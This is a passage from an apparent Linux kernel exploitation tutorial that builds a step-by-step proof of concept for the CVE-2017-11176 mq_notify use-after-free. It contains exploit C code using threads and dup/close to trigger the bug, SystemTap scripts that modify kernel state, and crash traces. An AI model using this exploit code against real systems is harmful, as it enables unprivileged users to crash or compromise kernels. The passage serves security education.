wake up the blocked thread. In the end, the following snippet does the job of
invoking it:

[code]

    int sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_GENERIC); // same socket used by blocking thread
    int val = 3535; // different than zero
    _setsockopt(sock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val));
    
[/code]

Let's integrate this in our exploit.

## Updating The Exploit

In the previous section, we saw how to invoke wake\_up\_interruptible\(\) from
userland with the help of the setsockopt\(\) syscall. There is one problem
however: how to call anything if we are blocking? **Answer: use multiple
threads**\!

So, let's create another thread \(called **unblock\_thread** in the exploit\),
and update the exploit \(compile with "-pthread"\):

[code]

        struct unblock_thread_arg
        {
          int fd;
          bool is_ready;  // we could use pthread's barrier here instead
        };
    
        static void* unblock_thread(void *arg)
        {
          struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
          int val = 3535; // need to be different than zero
    
          // notify the main thread that the unblock thread has been created
          uta->is_ready = true; 
          // WARNING: the main thread *must* directly call mq_notify() once notified!
          sleep(5); // gives some time for the main thread to block
    
          printf("[unblock] unblocking now\n");
          if (_setsockopt(uta->fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
            perror("setsockopt");
          return NULL;
        }
    
        int main(void)
        {
          struct sigevent sigev;
          char sival_buffer[NOTIFY_COOKIE_LEN];
          int sock_fd;
          pthread_t tid;
          struct unblock_thread_arg uta;
    
          // ... cut ...
    
          // initialize the unblock thread arguments, and launch it
          memset(&uta, 0, sizeof(uta));
          uta.fd = sock_fd;
          uta.is_ready = false;
          printf("creating unblock thread...\n");
          if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)
          {
            perror("pthread_create");
            goto fail;
          }
          while (uta.is_ready == false) // spinlock until thread is created
            ;
          printf("unblocking thread has been created!\n");
    
          printf("get ready to block\n");
          if (_mq_notify((mqd_t)-1, &sigev))
          {
            perror("mq_notify");
            goto fail;
          }
          printf("mq_notify succeed\n");
    
          // ... cut ...
        }
    
[/code]

One might notice that we called "sleep\(5\)" and did something with the
"uta->is\_ready". Let's explain them.

Calling **pthread\_create\(\)** is a request to create a thread \(i.e. a new
task\_struct\) and launch it. Creating the task does not mean that the task
will run right now. In order to be sure that the thread has started to run we
use a **spinlock** : uta->is\_ready.

**NOTE** : Spinlocks are the simplest form of \(active\) locking. It basically
loops until a variable state changes. This is "active" because the CPU is used
at 99% during this time. One might want to use atomic-like variable, this is
not required here as there are only one writer and one reader.

**WARNING** : Be careful with "unlock" \(spinlock\) and "unblock" \(wake up\)
in the next sections\!

The main thread is stuck in a loop until the unblock\_thread unlocks it \(set
'is\_ready' to true\). The same thing could be achieved with pthread's barrier
\(it is not always available\). Note that spinlocking here is optional, it
just gives "more control" over thread creation. Another reason is that task
creation might imply a lot of memory allocations that disturb exploits in
general. Finally, the very same technique will be required in part 3, so why
not introducing it here.

On the other hand, let's assume that after pthread\_create\(\) our main thread
becomes preempted for a "long" period of time \(i.e. not executed\). We might
have the following sequence:

[code]

    Thread-1          | Thread-2
    ------------------+---------------------------
                      |
    pthread_create()  |
                      | <<< new task created >>>
    <<< preempted >>> |
                      | <<< thread starts >>>
    <<< still...      |
     ...preempted >>> | setsockopt() -> succeed
                      |
    mq_notify()       |
    => start BLOCKING |
    
[/code]

In this scenario, the call to "setsockopt\(\)" is made before mq\_notify is
blocking. That is, it **won't** unblock the main thread. This is the reason of
**sleep\(5\)** after unlocking the main thread \('is\_ready' is true\). In
other words, it gives at least 5 seconds to "just" call mq\_notify\(\). You
can safely assume that "5 seconds" is enough because:

  * If the main thread is still preempted after 5 seconds, the targeted system is under heavy loads, you shouldn't run the exploit anyway.
  * If the unblock\_thread "race" the main thread \(setsockopt\(\) before mq\_notify\(\)\) then we can always send a CTRL+C command. Doing so makes netlink\_attachskb\(\) return "-ERESTARTSYS". The bug is not triggered in that path. We can retry the exploit.

In other words, the "controlled windows" duration is now 5 seconds. One might
think, this is a bit ugly, the problem is: the main thread has no way to
notify the other to wake it up because it is not running \(cf. core concept
\#2\). Maybe the unblock\_thread might poll some information in some way?
Well... the sleep\(5\) trick is enough here :-\).

## Updating the STAP Script

Alright, before running the new exploit, we need to edit our stap scripts.
Right now, we remove the netlink socket \(fd=3\) **before** calling
netlink\_attachskb\(\). It means that if we call setsockopt\(\) after entering
netlink\_attachskb\(\), the file descriptor _sock\_fd_ will be invalid \(it
points to NULL in the FDT\). That is, setsockopt\(\) will simply fail with a
"Bad File Descriptor" error \(i.e. we won't even reach
_netlink\_setsockopt\(\)_\).

So, let's remove the fd "3" in the FDT while returning from
netlink\_attachskb\(\), not before:

[code]

    # mq_notify_force_crash.stp
    #
    # Run it with "stap -v -g ./mq_notify_force_crash.stp" (guru mode)
    
    %{
    #include <net/sock.h>
    #include <net/netlink_sock.h>
    #include <linux/fdtable.h>
    %}
    
    function force_trigger_before:long (arg_sock:long)
    %{
      struct sock *sk = (void*) STAP_ARG_arg_sock;
      struct netlink_sock *nlk = (void*) sk;
      nlk->state |= 1;   // enter the netlink_attachskb() retry path    
    
      // NOTE: We do not mark the sock as DEAD anymore
    %}
    
    function force_trigger_after:long (arg_sock:long)
    %{
      struct files_struct *files = current->files;
      struct fdtable *fdt = files_fdtable(files);
      fdt->fd[3] = NULL; // makes the second call to fget() fails
    %}
    
    
    probe kernel.function ("netlink_attachskb")
    {
      if (execname() == "exploit")
      {
        force_trigger_before($sk);
      }
    }
    
    probe kernel.function ("netlink_attachskb").return
    {
      if (execname() == "exploit")
      {
        force_trigger_after(0);
      }
    }
    
[/code]

As always, add some more probes so we can see the code flowing. This gives us
the following output:

[code]

    $ ./exploit 
    -={ CVE-2017-11176 Exploit }=-
    netlink socket created = 3
    creating unblock thread...
    unblocking thread has been created!
    get ready to block
    
    <<< we get stuck here during ~5secs >>>
    
    [unblock] unblocking now
    mq_notify: Bad file descriptor
    exploit failed!
    
    (15981-15981) [SYSCALL] ==>> mq_notify (-1, 0x7fffbd130e30)
    (15981-15981) [uland] ==>> copy_from_user ()
    (15981-15981) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
    (15981-15981) [uland] ==>> copy_from_user ()
    (15981-15981) [skb] ==>> skb_put (skb=0xffff8800302551c0 len=0x20)
    (15981-15981) [skb] <<== skb_put = ffff88000a015600
    (15981-15981) [vfs] ==>> fget (fd=0x3)
    (15981-15981) [vfs] <<== fget = ffff8800314869c0
    (15981-15981) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff8800314869c0)
    (15981-15981) [netlink] <<== netlink_getsockbyfilp = ffff8800300ef800
    (15981-15981) [netlink] ==>> netlink_attachskb (sk=0xffff8800300ef800 skb=0xffff8800302551c0 timeo=0xffff88000b157f40 ssk=0x0)
    (15981-15981) [sched] ==>> schedule_timeout (timeout=0x7fffffffffffffff)
    (15981-15981) [sched] ==>> schedule ()
    (15981-15981) [sched] ==>> deactivate_task (rq=0xffff880003c1f3c0 p=0xffff880031512200 flags=0x1)
    (15981-15981) [sched] <<== deactivate_task = 
    
    <<< we get stuck here during ~5secs >>>
    
    (15981-15981) [sched] <<== schedule = 
    (15981-15981) [sched] <<== schedule_timeout = 7fffffffffffffff
    (15981-15981) [netlink] <<== netlink_attachskb = 1              // <----- returned 1
    (15981-15981) [vfs] ==>> fget (fd=0x3)
    (15981-15981) [vfs] <<== fget = 0                               // <----- returned 0
    (15981-15981) [netlink] ==>> netlink_detachskb (sk=0xffff8800300ef800 skb=0xffff8800302551c0)
    (15981-15981) [netlink] <<== netlink_detachskb
    (15981-15981) [SYSCALL] <<== mq_notify= -9
    
[/code]

**NOTE** : The other thread traces have been removed for clarity.

Perfect\! We stay stuck inside netlink\_attachskb\(\) during 5 seconds, we
unblock it from the other thread and it returns 1 \(as expected\)\!

In this section, we saw how to control the race and extend the window
indefinitely \(we reduced it to 5 seconds\). Then we saw how to wake up the
main thread by using setsockopt\(\). We also covered a "race" that could
happen in our exploit \(uh\!\) and we saw how we could reduce its occurrence
probability with a simple trick. Finally, we removed one of the requirements
implemented by the stap script \(mark the SOCK as dead\) using only user-land
code. There are still two more requirements to implement.

* * *
# Making _fget\(\)_ Fail on Second Loop

So far, we implemented one of the three requirements in userland. Here is our
TODO list:

  1. **Force netlink\_attachskb\(\) to return 1**
  2. \[DONE\] Unblock the exploit thread
  3. **Force the second fget\(\) call to return NULL**

In this section, we will try to force the second fget\(\) call to return NULL.
It will allow to go to the "exit path" during the second loop:

[code]

    retry:
                filp = fget(notification.sigev_signo);
                if (!filp) {
                    ret = -EBADF;
                    goto out;           // <--------- on the second loop only!
                }
    
[/code]

## Why does fget\(\) return NULL?

With System Tap, we saw that resetting the FDT's entry of our target file
descriptor was enough to make fget\(\) fail \(i.e. return NULL\):

[code]

    struct files_struct *files = current->files;
    struct fdtable *fdt = files_fdtable(files);
    fdt->fd[3] = NULL; // makes the second call to fget() fails
    
[/code]

What **fget\(\)** does is:

  1. Retrieves the "struct files\_struct" of the _current_ process
  2. Retrieves the "struct fdtable" from the files\_struct
  3. Get the value of "fdt->fd\[fd\]" \(i.e. a "struct file" pointer\)
  4. Increments the "struct file" refcounter \(if not NULL\) by one
  5. Returns the "struct file" pointer

In short, if a particular file descriptor's FDT entry is NULL, fget\(\)
returns NULL.

**NOTE** : If you do not remember the relationship between all those
structures, please go back to Core Concept \#1.

## Reset an Entry in the File Descriptor Table

In the stap script, we reset the fdt entry for file descriptor "3" \(cf.
previous section\). How can we do it from userland? What sets a FDT entry to
NULL? **Answer: The close\(\) syscall.**

Here is a simplified version \(without locking and error handling\):

[code]

        // [fs/open.c]
    
        SYSCALL_DEFINE1(close, unsigned int, fd)
        {
          struct file * filp;
          struct files_struct *files = current->files;
          struct fdtable *fdt;
          int retval;
    
    [0]   fdt = files_fdtable(files);
    [1]   filp = fdt->fd[fd];
    [2]   rcu_assign_pointer(fdt->fd[fd], NULL); // <----- equivalent to: fdt->fd[fd] = NULL
    [3]   retval = filp_close(filp, files);
          return retval;
        }
    
[/code]

The close\(\) syscall:

  * \[0\] - retrieves the current process' FDT
  * \[1\] - retrieves the struct file pointer associated to a fd using the FDT
  * \[2\] - **resets the FDT entry to NULL \(unconditionally\)**
  * \[3\] - drops a reference from the file object \(i.e. calls fput\(\)\)

Nice, we have an easy way to \(unconditionally\) reset a FDT entry. However,
it brings another problem...

## An Egg and Chicken Issue...

It would be tempting to _just_ call close\(\) in the _unblock\_thread_ before
calling setsockopt\(\). The problem is that setsockopt\(\) needs a valid file
descriptor\! We already experienced it with system tap, that's why we moved
the "fdt reset code" while returning from netlink\_attachskb\(\), instead of
before. We have the same issue in userland...

What about calling close\(\) _after_ setsocktopt\(\)? If we call close\(\)
_after_ calling setsockopt\(\) \(unblocking the main thread\) **we don't
profit of our extended windows**. In other words, we fallback into the "small
window" scenario. We do not want that.

Fortunately there is a way\! In Core Concept \#1, it has been said that the
file descriptor table is **not a 1:1 mapping**. That is, several file
descriptors might point to the same file object. How to make a struct file
pointed by two file descriptors? **The dup\(\) syscall**.

[code]

        // [fs/fcntl.c]
    
        SYSCALL_DEFINE1(dup, unsigned int, fildes)
        {
          int ret = -EBADF;
    [0]   struct file *file = fget(fildes);
    
          if (file) {
    [1]     ret = get_unused_fd();
            if (ret >= 0)
    [2]       fd_install(ret, file); // <----- equivalent to: current->files->fdt->fd[ret] = file
            else
              fput(file);
          }
    [3]   return ret;
        }
    
[/code]

Yet another simple syscall, dup\(\) does exactly what we want:

  * \[0\] - takes a reference on a struct file object from a file descriptor
  * \[1\] - picks the next "unused/available" file descriptor
  * \[2\] - sets the fdt entry of this new file descriptor with a pointer to the struct file object
  * \[3\] - returns the new fd

In the end, we will have two file descriptors that refer to the same struct
file:

  * **sock\_fd** : used by mq\_notify\(\) and close\(\)
  * **unblock\_fd** : used by setsockopt\(\)

## Updating the Exploit

Let's update the exploit \(adding close/dup calls and change setsockopt\(\)
parameters\):

[code]

    struct unblock_thread_arg
    {
      int sock_fd;
      int unblock_fd;     // <----- used by the "unblock_thread"
      bool is_ready;
    };
    
    static void* unblock_thread(void *arg)
    {
      // ... cut ...
    
      sleep(5); // gives some time for the main thread to block
    
      printf("[unblock] closing %d fd\n", uta->sock_fd);
      _close(uta->sock_fd);                               // <----- close() before setsockopt()
    
      printf("[unblock] unblocking now\n");
      if (_setsockopt(uta->unblock_fd, SOL_NETLINK,       // <----- use "unblock_fd" now!
                      NETLINK_NO_ENOBUFS, &val, sizeof(val)))
        perror("setsockopt");
      return NULL;
    }
    
    int main(void)
    {
      // ... cut ...
    
      if ((uta.unblock_fd = _dup(uta.sock_fd)) < 0)         // <----- dup() after socket() 
      {
        perror("dup");
        goto fail;
      }
      printf("[main] netlink fd duplicated = %d\n", uta.unblock_fd);
    
      // ... cut ...
    }
    
[/code]

Remember to remove the lines that reset the FDT entry in stap scripts, and
launch:

[code]

    -={ CVE-2017-11176 Exploit }=-
    [main] netlink socket created = 3
    [main] netlink fd duplicated = 4
    [main] creating unblock thread...
    [main] unblocking thread has been created!
    [main] get ready to block
    [unblock] closing 3 fd
    [unblock] unblocking now
    mq_notify: Bad file descriptor
    exploit failed!
    
    <<< KERNEL CRASH >>>
    
[/code]

**ALERT COBRA: our first kernel crash\! Yes, we are now triggering the use-
after-free**.

The reason why we crash will be studied in part 3.

_Long story short: because of dup\(\), calling close\(\) will not release a
reference on netlink\_sock object. It is the netlink\_detachskb\(\) that
actually releases the last reference on netlink\_sock \(and frees it\). In the
end, the use-after-free is triggered during program exit, while releasing the
"unblock\_fd" file descriptor \(in netlink\_release\(\)\)._

Great\! We already fixed two necessary conditions to trigger the bug
**without** System Tap. Let's move on and implement the last requirements.

* * *
# Looping back to "retry" label

This section might look like a _brutal_ kernel code unrolling. Don't get
scared\! We are one-step away from the complete proof-of-concept code. As the
proverb says: "_Eat the elephant one bite at a time_."

Alright, let's have a look at our TODO list:

  1. **Force netlink\_attachskb\(\) to return 1**
  2. \[DONE\] Unblock the exploit thread
  3. \[DONE\] Force the second fget\(\) call to return NULL

In order to reach the **retry path** , it is required that
**netlink\_attachskb\(\)** returns 1. The only way to do it requires that we
pass the first condition and unblock the thread \(we did this already\):

[code]

        int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
                  long *timeo, struct sock *ssk)
        {
          struct netlink_sock *nlk;
          nlk = nlk_sk(sk);
    
    [0]   if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state))
          {
            // ... cut ...
            return 1;
          }
          // normal path
          return 0;
        }
    
[/code]

The condition \[0\] is true if:

  1. the **sk\_rmem\_alloc** value is _greater_ than **sk\_rcvbuf** , or...
  2. ...the lowest significant bit of **nlk- >state** is set.

Right now, we force it to be true by setting the LSB of "nlk->state" with
stap:

[code]

    struct sock *sk = (void*) STAP_ARG_arg_sock;
    struct netlink_sock *nlk = (void*) sk;
    nlk->state |= 1;            
    
[/code]

However, marking the socket state as "congested" \(LSB set\) is a bit tedious.
The kernel path that sets this bit can only be reached because of memory
allocation failure. It will put the system into an unstable state that is not
suitable for exploitation. Well, there are other paths \(without memory
failure\) but then we are already satisfying the condition... so it will be
useless.

Instead, we will try to increase the **sk\_rmem\_alloc** value which
represents the "current" size of the sock's receive buffer.

## Filling The Receive Buffer

In this section, we will try to satisfy the first condition which means "is
the receive buffer full?":

[code]

    atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf
    
[/code]

As a reminder, a struct sock \(embedded in netlink\_sock\) has the following
fields:

  * **sk\_rcvbuf** : "theorical" max size of the receive buffer \(in bytes\)
  * **sk\_rmem\_alloc** : "current" size of the receive buffer \(in bytes\)
  * **sk\_receive\_queue** : double-linked list of "skb" \(i.e. network buffers\)

**NOTE** : The sk\_rcvbuf is "theorical" because the receive buffer "current"
size can actually go beyond it.

While dumping the netlink sock structure with stap \(part 1\) we had:

[code]

    - sk->sk_rmem_alloc = 0
    - sk->sk_rcvbuf = 133120
    
[/code]

There are two ways to make this condition true:

  1. lowering sk\_rcvbuf below 0 \(sk\_rcvbuf type is _int_ in our kernel version\)
  2. increasing sk\_rmem\_alloc above 133120

## Lowering sk\_rcvbuf

The _sk\_rcvbuf_ is something common to all sock objects. There are not much
places where this value is modified \(with netlink sockets\). One is
**sock\_setsockopt** \(accessible with SOL\_SOCKET parameter\):

[code]

        // from [net/core/sock.c]
    
        int sock_setsockopt(struct socket *sock, int level, int optname,
                char __user *optval, unsigned int optlen)
        {
          struct sock *sk = sock->sk;
          int val;
    
          // ... cut  ...
    
          case SO_RCVBUF:
    [0]     if (val > sysctl_rmem_max)
              val = sysctl_rmem_max;
        set_rcvbuf:
            sk->sk_userlocks |= SOCK_RCVBUF_LOCK;
    [1]     if ((val * 2) < SOCK_MIN_RCVBUF)
              sk->sk_rcvbuf = SOCK_MIN_RCVBUF;          
            else  
              sk->sk_rcvbuf = val * 2;                 
            break;
    
          // ... cut (other options handling) ...
        }
    
[/code]

When you see this type of code, **keep an eye on every expression type**.

**NOTE** : A lot of bugs exist because of this "signed/unsigned type mixing".
The same goes when casting a bigger type \(u64\) to a smaller type \(u32\).
This often leads to _int overflow_ or _type casting_ issues.

In our target \(yours could be different\) we have:

  * **sk\_rcvbuf** : int
  * **val** : int
  * **sysctl\_rmem\_max** : \_\_u32
  * **SOCK\_MIN\_RCVBUF** : "promoted" to size\_t because of "sizeof\(\)"

The SOCK\_MIN\_RCVBUF definition being:

[code]

    #define SOCK_MIN_RCVBUF (2048 + sizeof(struct sk_buff))
    
[/code]

In general, when mixing _signed_ integer with _unsigned_ integer, the _signed_
integer is casted into the unsigned type.

**WARNING** : Don't consider the previous rule to be _rock solid_ , the
compiler might choose to do something else. You should check the disassembly
code to be sure.

Let's consider we pass a _negative_ value in "val". During \[0\], it will be
promoted to unsigned type \(because **sysctl\_rmem\_max** type is "\_\_u32"\).
And so, value will be reset to _sysctl\_rmem\_max_ \(small negative values are
huge unsigned values\).

Even if "val" is not promoted to "\_\_u32", we wouldn't pass the second check
\[1\]. In the end, we will be clamped to \[SOCK\_MIN\_RCVBUF,
sysctl\_rmem\_max\] \(i.e. not negative\). That is, we need to play with
**sk\_rmem\_alloc** instead of **sk\_rcvbuf** field.

**NOTE** : While developing an exploit you will meet this phenomenon:
analyzing a lot of code paths that actually lead to _nowhere_. We wanted to
expose it in this article.

## Back to the "normal" path

It is time to get back to something we ignored since the very first line of
this series: mq\_notify\(\) "normal" path. Conceptually, there is a "retry
path" when the sock receive buffer is full because the **normal path might
actually fill it**.

In netlink\_attachskb\(\):

[code]

        int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
                  long *timeo, struct sock *ssk)
        {
          struct netlink_sock *nlk;
          nlk = nlk_sk(sk);
          if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
              // ... cut (retry path) ...
          }
          skb_set_owner_r(skb, sk);       // <----- what about this ?
          return 0;
        }
    
[/code]

So, the _normal path_ calls **skb\_set\_owner\_r\(\)** :

[code]

        static inline void skb_set_owner_r(struct sk_buff *skb, struct sock *sk)
        {
          WARN_ON(skb->destructor);
          __skb_orphan(skb);
          skb->sk = sk;
          skb->destructor = sock_rfree;
    [0]   atomic_add(skb->truesize, &sk->sk_rmem_alloc);  // sk->sk_rmem_alloc += skb->truesize
          sk_mem_charge(sk, skb->truesize);
        }
    
[/code]

Yes, **skb\_set\_owner\_r\(\) increases the value of _sk\_rmem\_alloc_ by
_skb- >truesize_**. So, let's call mq\_notify\(\) multiple times until the
receive buffer is full? Unfortunately, we can't do it that easily.

In the normal course of mq\_notify\(\), a skb \(called "cookie"\) is created
at the beginning of the function and attached to the netlink\_sock with
netlink\_attachskb\(\), we already covered this. Then, both the netlink\_sock
and the skb are _associated_ to the "mqueue\_inode\_info" structure which
belongs to a message queue \(cf. mq\_notify's normal path\).

**The problem is, there can be only one \(cookie\) "skb" associated to a
mqueue\_inode\_info structure at a time**. That is, calling mq\_notify\(\) a
second time will fail with a "-EBUSY" error. In other words, we can only
increase **sk\_rmem\_alloc** size once \(for a given message queue\) and this
is not enough \(only 32 bytes\) to make it greater than sk\_rcvbuf.

We _might_ actually create multiple message queues, hence multiple
mqueue\_inode\_info objects and call mq\_notify\(\) multiple times. Or, we can
also use mq\_timedsend\(\) syscall to push messages into the queue. Because we
don't want to study another subsystem \(mqueue\), and stick with "common"
kernel path \(sendmsg\), we won't do that here. It might be a good exercise
though...

**NOTE** : There are always multiple ways to code an exploit.

While we will not take the mq\_notify\(\) normal path, it still exposed an
important thing: we can increase sk\_rmem\_alloc with skb\_set\_owner\_r\(\),
hence netlink\_attachskb\(\).

## The netlink\_unicast\(\) path

With the help of skb\_set\_owner\_r\(\), we saw that netlink\_attachskb\(\)
might increase the sk\_rmem\_alloc value. Function netlink\_attachskb\(\) is
also called by **netlink\_unicast\(\)**. Let's do a _bottom-up analysis_ to
check how we can reach netlink\_unicast\(\) up to a syscall:

[code]

    - skb_set_owner_r
    - netlink_attachskb
    - netlink_unicast   
    - netlink_sendmsg   // there is a lots of "other" callers of netlink_unicast
    - sock->ops->sendmsg()          
    - __sock_sendmsg_nosec()
    - __sock_sendmsg()
    - sock_sendmsg()
    - __sys_sendmsg()
    - SYSCALL_DEFINE3(sendmsg, ...)
    
[/code]

Because **netlink\_sendmsg\(\)** is a _proto\_ops_ of netlink sockets \(Core
Concept \#1\), it is reachable via a sendmsg\(\) syscall.

The _generic_ code path from a sendmsg\(\) syscall to a sendmsg's proto\_ops
\(sock->ops->sendmsg\(\)\) will be covered in deeper details in part 3. For
now, let's assume that we can reach netlink\_sendmsg\(\) without much trouble.

## Reaching netlink\_unicast\(\) from netlink\_sendmsg\(\)

The sendmsg\(\) syscall has the following signature:

[code]

    ssize_t sendmsg(int sockfd, const struct msghdr *msg, int flags);
    
[/code]

Reaching netlink\_unicast\(\) is all about setting the _right values_ in both
_msg_ and _flags_ arguments:

[code]

      struct msghdr {
         void         *msg_name;       /* optional address */
         socklen_t     msg_namelen;    /* size of address */
         struct iovec *msg_iov;        /* scatter/gather array */
         size_t        msg_iovlen;     /* # elements in msg_iov */
         void         *msg_control;    /* ancillary data, see below */
         size_t        msg_controllen; /* ancillary data buffer len */
         int           msg_flags;      /* flags on received message */
      };
    
      struct iovec
      {
        void __user     *iov_base;
        __kernel_size_t iov_len;
      };
    
[/code]

In this section, we will **infer the parameters value from the code and
established our "constraint" list step-by-step**. Doing so makes the kernel
take the path that _we_ want. Kernel exploitation is actually all about this.
Here, the call to netlink\_unicast\(\) is at the very end of the function. We
will need to pass \(or skip\) all the checks...

Let's start:

[code]

        static int netlink_sendmsg(struct kiocb *kiocb, struct socket *sock,
                 struct msghdr *msg, size_t len)
        {
          struct sock_iocb *siocb = kiocb_to_siocb(kiocb);
          struct sock *sk = sock->sk;
          struct netlink_sock *nlk = nlk_sk(sk);
          struct sockaddr_nl *addr = msg->msg_name;
          u32 dst_pid;
          u32 dst_group;
          struct sk_buff *skb;
          int err;
          struct scm_cookie scm;
          u32 netlink_skb_flags = 0;
    
    [0]   if (msg->msg_flags&MSG_OOB)
            return -EOPNOTSUPP;
    
    [1]   if (NULL == siocb->scm)
            siocb->scm = &scm;
    
          err = scm_send(sock, msg, siocb->scm, true);
    [2]   if (err < 0)
            return err;
    
          // ... cut ...
    
          err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);   // <---- our target
    
        out:
          scm_destroy(siocb->scm);
          return err;
        }
    
[/code]

The flag _MSG\_OOB_ should not be set to pass \[0\]. Here is our first
constraint: **msg- >msg\_flags MSG\_OOB bit is not set**.

The test at \[1\] will be true since "siocb->scm" is set to _NULL_ in
**\_\_sock\_sendmsg\_nosec\(\)**. Finally, _scm\_send\(\)_ should not return a
negative value \[2\], the code is:

[code]

    static __inline__ int scm_send(struct socket *sock, struct msghdr *msg,
                       struct scm_cookie *scm, bool forcecreds)
    {
        memset(scm, 0, sizeof(*scm));
        if (forcecreds)
            scm_set_cred(scm, task_tgid(current), current_cred());
        unix_get_peersec_dgram(sock, scm);
        if (msg->msg_controllen <= 0)     // <----- this need to be true...
            return 0;                     // <----- ...so we hit this and skip __scm_send()
        return __scm_send(sock, msg, scm);
    }
    
[/code]

The second constraint: **msg- >msg\_controllen equals zero** \(the type is
size\_t, no negative values\).

Let's continue:

[code]

          // ... netlink_sendmsg() continuation ...
    
    [0]   if (msg->msg_namelen) {
            err = -EINVAL;
    [1]     if (addr->nl_family != AF_NETLINK)
              goto out;
    [2a]    dst_pid = addr->nl_pid;
    [2b]    dst_group = ffs(addr->nl_groups);
            err =  -EPERM;
    [3]     if ((dst_group || dst_pid) && !netlink_allowed(sock, NL_NONROOT_SEND))
              goto out;
            netlink_skb_flags |= NETLINK_SKB_DST;
          } else {
            dst_pid = nlk->dst_pid;
            dst_group = nlk->dst_group;
          }
    
          // ... cut ...
    
[/code]

Okay, this one is a bit tricky. This block depends if the "sender" socket is
already connected to the destination \(receiver\) socket or not. If it is,
then both "nlk->dst\_pid" and "nlk->dst\_group" are already set. Since we
don't want to connect to the receiver socket \(bad side effect\), we want to
take the first branch. That is **msg- >msg\_namelen must be different than
zero** \[0\].

If you look back at the beginning of the function, we see that "addr" is
another user-controlled parameter: msg->msg\_name. With the help of \[2a\] and
\[2b\] we can choose an arbitrary "dst\_group" and "dst\_pid". Controlling
those allows us to:

  1. dst\_group == 0: send a unicast message instead of broadcast \(cf. _man 7 netlink_\)
  2. dst\_pid \!= 0: talk to the receiver socket \(userland\) of our choice. Zero meaning "talk to the kernel" \(read the manual\!\).

Which we translate in the constraint list into \(msg\_name is cast to
sockaddr\_nl\):

  1. **msg- >msg\_name->dst\_group equals zero**
  2. **msg- >msg\_name->dst\_pid equals "destination" socket nl\_pid**

However, it implies that **netlink\_allowed\(sock, NL\_NONROOT\_SEND\)** \[3\]
does not return zero:

[code]

    static inline int netlink_allowed(const struct socket *sock, unsigned int flag)
    {
      return (nl_table[sock->sk->sk_protocol].flags & flag) || capable(CAP_NET_ADMIN));
    }
    
[/code]

Because we are exploiting from an unprivileged user, we don't have
CAP\_NET\_ADMIN. The only "netlink protocol" which has the "NL\_NONROOT\_SEND"
flag set is _NETLINK\_USERSOCK_ \(cross-reference it\). That is: **"sender"
socket must has the protocol NETLINK\_USERSOCK**.

In addition \[1\], we need **msg- >msg\_name->nl\_family equals AF\_NETLINK**.

Next:

[code]

    [0]   if (!nlk->pid) {
    [1]     err = netlink_autobind(sock);
            if (err)
              goto out;
          }
    
[/code]

We can't control the check at \[0\] because during socket creation, the
socket's pid is set to zero \(the whole structure is zeroed by
sk\_alloc\(\)\). We will get back to this, but for now consider that
**netlink\_autobind\(\)** \[1\] will find an "available" pid for our sender
socket and it will not fail. However, the check will be skipped during a
second call to sendmsg\(\), "nlk->pid" will be set this time. Next:

[code]

          err = -EMSGSIZE;
    [0]   if (len > sk->sk_sndbuf - 32)
            goto out;
          err = -ENOBUFS;
          skb = alloc_skb(len, GFP_KERNEL);
    [1]   if (skb == NULL)
            goto out;
    
[/code]

Here, "len" is computed during **\_\_sys\_sendmsg\(\)**. It is the "sum of all
iovec len". So, the sum of all iovecs must be less than sk->sk\_sndbuf minus
32 \[0\]. To keep it simple, we will use a single iovec. That is:

  * **msg- >msg\_iovlen equals 1** // a single iovec
  * **msg- >msg\_iov->iov\_len is less than or equals than sk->sk\_sndbuf minus 32**
  * **msg- >msg\_iov->iov\_base must be _userland_ readable** // otherwise \_\_sys\_sendmsg\(\) will fail

The last constraint implies that **msg- >msg\_iov is also a _userland_
readable address** \(again, \_\_sys\_sendmsg\(\) will fail otherwise\).

**NOTE** : "sk\_sndbuf" is equivalent to "sk\_rcvbuf" but for the sending
buffer. We can retrieve its value with **sock\_getsockopt\(\)** option
"SO\_SNDBUF".

The check at \[1\] should not fail. If it does, it means that the kernel is
currently running out-of-memory and is in a very bad shape for exploitation.
The exploit should not continue, chances here are that it will fail, and
worst, make the kernel crash\! **You've been warned, implement error handling
code...**

The next code block can be ignored \(no need to pass any checks\), the
"siocb->scm" structure is initialized early with scm\_send\(\):

[code]

          NETLINK_CB(skb).pid   = nlk->pid;
          NETLINK_CB(skb).dst_group = dst_group;
          memcpy(NETLINK_CREDS(skb), &siocb->scm->creds, sizeof(struct ucred));
          NETLINK_CB(skb).flags = netlink_skb_flags;
    
[/code]

Next:

[code]

          err = -EFAULT;
    [0]   if (memcpy_fromiovec(skb_put(skb, len), msg->msg_iov, len)) {
            kfree_skb(skb);
            goto out;
          }
    
[/code]

Again, no problem with the check \[0\] we already provide a _readable_ iovec
otherwise \_\_sys\_sendmsg\(\) fails \(cf. previous constraint\).

[code]

    [0]   err = security_netlink_send(sk, skb);
          if (err) {
            kfree_skb(skb);
            goto out;
          }
    
[/code]

This is a Linux Security Module \(LSM, e.g. SELinux\) check. If we can't pass
this check, you will need to find another way to reach netlink\_unicast\(\) or
more generally, another way to increase "sk\_rmem\_alloc" \(hint: maybe try
netlink\_dump\(\)\). We assume that we pass this check here.

And finally:

[code]

    [0]   if (dst_group) {
            atomic_inc(&skb->users);
            netlink_broadcast(sk, skb, dst_pid, dst_group, GFP_KERNEL);
          }
    [1]   err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);
    
[/code]

Remember that we choose the "dst\_group" value with
"msg->msg\_name->dst\_group". Since we forced it to be zero, we will skip the
check \[0\]... **and finally call netlink\_unicast\(\)\!**

_Phew.... It has been a long way..._

Alright, let's summarize all our requirements to \(just\) reach
netlink\_unicast\(\) from netlink\_sendmsg\(\):

  * **msg- >msg\_flags** doesn't have the _MSG\_OOB_ flag
  * **msg- >msg\_controllen** equals 0
  * **msg- >msg\_namelen** is different from zero
